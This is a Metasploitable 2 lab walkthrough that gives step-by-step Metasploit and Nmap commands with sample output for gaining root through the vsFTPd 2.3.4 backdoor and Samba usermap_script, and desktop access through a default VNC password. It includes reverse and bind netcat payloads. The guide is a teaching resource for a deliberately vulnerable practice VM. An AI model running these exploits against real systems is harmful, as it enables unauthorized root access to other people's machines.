Learn Hacking with Metasploitable 2: Metasploit Walkthrough on Kali Linux

This ethical hacking lab guide takes you from a blank Kali terminal to a root shell on Metasploitable 2. Along the way I explain what each step checks and what a good result looks like. You scan the target with Nmap, map each open port to a Metasploit module, then practice three exploits:

• vsFTPd 2.3.4 backdoor (port 21) — unauthenticated root shell on port 6200
• VNC (port 5900) — weak default password (password); credential scan, not a software CVE
• Samba usermap_script (ports 139/445) — unauthenticated root command execution

The vsFTPd backdoor is the fully worked practice case. Repeat it until the search → load → set → run → connect rhythm is automatic. For msfconsole fundamentals, keep the Metasploit tutorial open alongside this page.

Kali and Metasploitable lab setup

Both VMs must share a host-only subnet, Metasploitable needs a snapshot before the first exploit, and you should know basic msfconsole commands from the Metasploit tutorial. When that is in place, every exercise below uses the same TARGET and KALI_IP values.

Before you start, make sure you have:

• Kali Linux with metasploit-framework, nmap, and a VNC viewer installed
• Metasploitable 2 running on the same host-only or internal network
• Both VMs on the same subnet (host-only adapter in VirtualBox is the usual choice)
• A snapshot of Metasploitable taken before your first exploit
• The msfconsole basics (search, use, show options, set) from the Metasploit tutorial

Each exploit opens a root shell that can change files on the target. Restore the snapshot between exercises so every service starts from a known state.

VirtualBox network, IPs, and exploit prerequisites

Every command and output block below was tested on this VirtualBox layout. Substitute your own addresses if your hypervisor assigns a different range, but keep TARGET and KALI_IP on the same lab subnet.

Throughout this guide, TARGET means 192.168.56.114 and KALI_IP means 192.168.56.115 on the lab adapter.

Find the Metasploitable IP

You need the target IP before any scan or exploit. Log into the Metasploitable console and read ifconfig, or discover the guest on your lab subnet from Kali with arp-scan or netdiscover and confirm with Nmap.

Pick one of these methods to learn the target address before you scan:

From the Metasploitable console

• Boot the VM and log in with msfadmin / msfadmin
• Run ifconfig and note the address on the host-only or internal adapter (often eth0)

From Kali when you cannot log into the console

• Run sudo arp-scan --interface eth1 --localnet or sudo netdiscover -r 192.168.56.0/24
• Look for the Oracle VirtualBox MAC prefix 08:00:27 in the results
• Confirm the candidate with nmap -sV TARGET

From Kali, confirm the two VMs can reach each other before you scan:

ping -c 3 192.168.56.114

PING 192.168.56.114 (192.168.56.114) 56(84) bytes of data.
64 bytes from 192.168.56.114: icmp_seq=1 ttl=64 time=0.45 ms
64 bytes from 192.168.56.114: icmp_seq=2 ttl=64 time=0.38 ms
64 bytes from 192.168.56.114: icmp_seq=3 ttl=64 time=0.41 ms

A reply confirms Kali can reach the target. If the ping times out:

• Both VMs are not on the same host-only or internal network — check VirtualBox adapter settings
• One VM may still be booting — wait for the login prompt on Metasploitable and retry
• A firewall on either guest may block ICMP — try nmap -Pn -p 21 TARGET instead of ping

Scan services with Nmap

A service scan turns open ports into version strings Metasploit search can match. Focus on port 21 (vsftpd 2.3.4), Samba on 139/445, and VNC on 5900 — those rows drive the three exploits in this guide.

Enumerate open ports, service versions, and the guest OS with Nmap service detection:

• -sV prints version strings that Metasploit search terms match against
• -O adds OS detection (helpful context, not required for the exploits below)

nmap -sV -O 192.168.56.114

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
MAC Address: 08:00:27:EB:8C:B9 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Focus on these rows from the scan output. Each version string maps to a module in the next section:

• Port 21 — vsftpd 2.3.4 triggers the backdoor exploit
• Ports 139 / 445 — Samba smbd (Nmap may report 3.X - 4.X; the vulnerable build is 3.0.20 through 3.0.25rc3)
• Port 5900 — VNC protocol 3.3 with a weak default password (no software CVE on this service)

The MAC line (08:00:27) confirms a VirtualBox guest, which matches a typical lab setup. If you want a scanner-driven CVE report before exploitation, run OpenVAS against Metasploitable and map its findings to modules the same way.

Map Nmap findings to Metasploit modules

Before you touch msfconsole, line up each Nmap version string with the module that exploits it. This table is the skill the walkthrough builds — the tools only deliver what you mapped here.

Each row becomes one exercise. Work through them in this order:

1. vsFTPd — cleanest path to root; no callback routing to debug
2. VNC — quick credential win; proves auxiliary scanners work
3. Samba — teaches reverse vs bind payloads when a shell does not land

Exploit the vsFTPd 2.3.4 backdoor (CVE-2011-2523)

This is the exercise to master first. In 2011 someone slipped a backdoor into the vsftpd-2.3.4.tar.gz source archive (CVE-2011-2523). When a login username ends with :), the daemon opens an unauthenticated root shell on TCP port 6200. Metasploitable 2 still ships that exact build, so it is a reliable, self-contained target.

• CVE — CVE-2011-2523 (backdoor in vsFTPd 2.3.4 source distribution)
• Module — exploit/unix/ftp/vsftpd_234_backdoor
• Win condition — uid=0(root) on port 6200 without any password

Step 1: Search for the module

Launch the console and search by service name:

msfconsole

search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  Yes    VSFTPD 2.3.4 Backdoor Command Execution

Two modules match. Pick index 1:

• exploit/unix/ftp/vsftpd_234_backdoor — excellent rank, command execution (this guide)
• auxiliary/dos/ftp/vsftpd_232 — denial of service only; not what you want here

The Check: Yes column means this module can confirm the target is vulnerable before you fire.

Step 2: Load the module and read its options

use exploit/unix/ftp/vsftpd_234_backdoor
show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   21               yes       The target port (TCP)

The module needs only RHOSTS. RPORT already defaults to 21, the FTP port that triggers the backdoor.

Step 3: Set the target and run the exploit

Point the module at your target. On Metasploit 6.4.135 it runs its own vulnerability check automatically (AutoCheck) before firing, so you can go straight to run:

set RHOSTS 192.168.56.114
run

[*] 192.168.56.114:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.114:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 192.168.56.114:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 192.168.56.114:21 - Backdoor has been spawned!
[*] Exploit completed, but no session was created.

Read the output line by line:

• FTP banner hints its vulnerable — Nmap-style banner match on 220 (vsFTPd 2.3.4)
• The target appears to be vulnerable — AutoCheck passed; safe to trigger
• Backdoor has been spawned! — the :) login opened port 6200; this is the win
• no session was created — expected on Metasploitable; the default fetch/meterpreter payload cannot complete on 2008-era userland

The backdoor shell is already listening even when no Metasploit session opens.

Step 4: Connect to the root backdoor on port 6200

Open a second Kali terminal and connect straight to the backdoor with Netcat. At the bare prompt, run:

nc 192.168.56.114 6200

id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Confirm these three facts from the reply:

• uid=0(root) — you are root without authentication or privilege escalation
• Kernel 2.6.24-16-server — matches Metasploitable 2's ancient Ubuntu 8.04 base
• No password prompt — the backdoor is unauthenticated

The backdoor serves one shell at a time. If the connection is refused, the shell is already in use. Restore your Metasploitable snapshot and re-trigger.

Step 5: Clean up

Type exit to close the shell, then restore your Metasploitable snapshot so the next exercise starts clean. The repeatable loop for every service below:

1. search — find the module name
2. use — load it
3. set — point RHOSTS (and LHOST when a payload needs it)
4. run — fire the module
5. Connect or sessions — reach the shell or credential result

Exploit VNC on port 5900 (weak password)

VNC (Virtual Network Computing) gives remote desktop access to the Metasploitable GUI. On a default install TightVNC listens on port 5900 with the trivial password password, as documented in the Rapid7 Metasploitable exploitability guide. This is a credential weakness, not a VNC software bug like the vsFTPd or Samba flaws. The vnc_login auxiliary proves the scanner workflow and hands you desktop control.

• CVE — no VNC implementation CVE on Metasploitable; the risk is a default password (misconfiguration). Scanners and the vnc_login module may tag the finding as CVE-1999-0506, a generic weak-password identifier, not a TightVNC-specific defect
• Module — auxiliary/scanner/vnc/vnc_login (scanner, not an exploit)
• Win condition — Login Successful: :password

Run the credential scan

Load the login scanner and point it at the target:

use auxiliary/scanner/vnc/vnc_login
set RHOSTS 192.168.56.114
run

The scanner walks the built-in wordlist at /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt. On Metasploitable the match appears quickly:

[+] 192.168.56.114:5900 - Login Successful: :password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The login format :password means:

• Empty username — VNC on this build does not require a user name
• Password password — the default Metasploitable credential

Connect with a VNC viewer

From Kali, open a viewer session against the discovered service:

vncviewer 192.168.56.114:5900

When prompted, enter password. You should see the Metasploitable desktop with full mouse and keyboard control. From there you can:

• Browse files and confirm you are on the target (not your Kali desktop)
• Open a terminal on the Metasploitable desktop as msfadmin
• Practice manual credential reuse on other lab services

VNC access alone does not give root. Pair it with the shell exploits above when you need privileged command execution.

Exploit the Samba usermap_script (CVE-2007-2447)

Samba 3.0.20 through 3.0.25rc3 executes shell metacharacters in a username when the non-default username map script option is set (CVE-2007-2447). Metasploitable ships that misconfiguration, so a crafted username runs commands as root without authentication.

• CVE — CVE-2007-2447 (command execution via username map script)
• Module — exploit/multi/samba/usermap_script
• Default port — 139 (Samba also listens on 445)
• Win condition — uid=0(root) in the shell session

Load the module and read defaults

use exploit/multi/samba/usermap_script
show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

Note these defaults before you set options:

• RPORT 139 — the module targets NetBIOS session service by default; port 445 also works on Metasploitable but is not the default here
• Payload cmd/unix/reverse_netcat — Metasploitable must call back to your Kali LHOST
• LHOST empty — you must set this to Kali's lab IP (never 127.0.0.1)

Try the default reverse payload first

set RHOSTS 192.168.56.114
set LHOST 192.168.56.115
run

When routing between the two VMs is clean, you see a session open immediately. When the callback path fails, Metasploit reports:

[*] Exploit completed, but no session was created.

That message does not mean Samba is patched. It usually means Metasploitable's old Netcat could not reach your LHOST.

Switch to a bind payload when reverse fails

A bind payload flips the direction: the target opens the listener and Metasploit connects in. Nothing has to route back to Kali.

set payload cmd/unix/bind_netcat
run

[*] Started bind TCP handler against 192.168.56.114:4444
[*] Command shell session 1 opened (192.168.56.115:40605 -> 192.168.56.114:4444)

Confirm root access

sessions -c "id" -i 1
sessions -c "uname -a" -i 1

[*] Running 'id' on shell session 1 (192.168.56.114)
uid=0(root) gid=0(root)
[*] Running 'uname -a' on shell session 1 (192.168.56.114)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Both commands should return root context and the same 2.6.24-16-server kernel string you saw on the vsFTPd shell.

Troubleshooting

Group symptoms by service when something fails mid-exercise:

vsFTPd backdoor

VNC scanner

Samba usermap_script

General

References

• Metasploitable 2 documentation (Rapid7)
• Metasploitable 2 exploitability guide (Rapid7)
• VSFTPD 2.3.4 Backdoor — Rapid7 module
• VNC Authentication Scanner — Rapid7 module
• Samba usermap_script — Rapid7 module
• CVE-2011-2523 (vsFTPd backdoor)
• CVE-2007-2447 (Samba usermap_script)
• CVE-1999-0506 (generic weak-password finding)
• Nmap service and version detection
• Exploit Database

Summary

Metasploitable 2 bundles outdated services on purpose so you can practice the full attack loop safely. The skill this guide builds is not memorizing commands. It is reading an Nmap version string, mapping it to the right module, and confirming before you fire.

Attack loop you practiced

• Recon — nmap -sV finds vsftpd 2.3.4, Samba, and VNC on known ports
• Map — port-to-module table turns each version string into a Metasploit module name
• Exploit — run triggers the vulnerability; nc TARGET 6200 or sessions reaches the result
• Verify — id, uname -a, or VNC desktop access proves you hit the right host

Three exploits covered

• vsFTPd CVE-2011-2523 — run spawns the backdoor; connect to port 6200 for root
• VNC port 5900 — vnc_login finds :password; vncviewer gives desktop control (weak password, not a software CVE)
• Samba CVE-2007-2447 — usermap_script with bind_netcat when reverse fails

Common traps on current Kali

• cmd/unix/interact was removed; connect to port 6200 instead of setting that payload
• Samba's default reverse payload may not call back; cmd/unix/bind_netcat is the reliable fix
• The vsFTPd backdoor serves one shell at a time; restore the snapshot between attempts

Once these three feel routine, extend the same loop to other Metasploitable services (UnrealIRCd, Java RMI, Tomcat, PostgreSQL) or try SSH brute-force and password cracking against lab accounts. Keep every experiment on snapshots and inside networks you are authorized to test.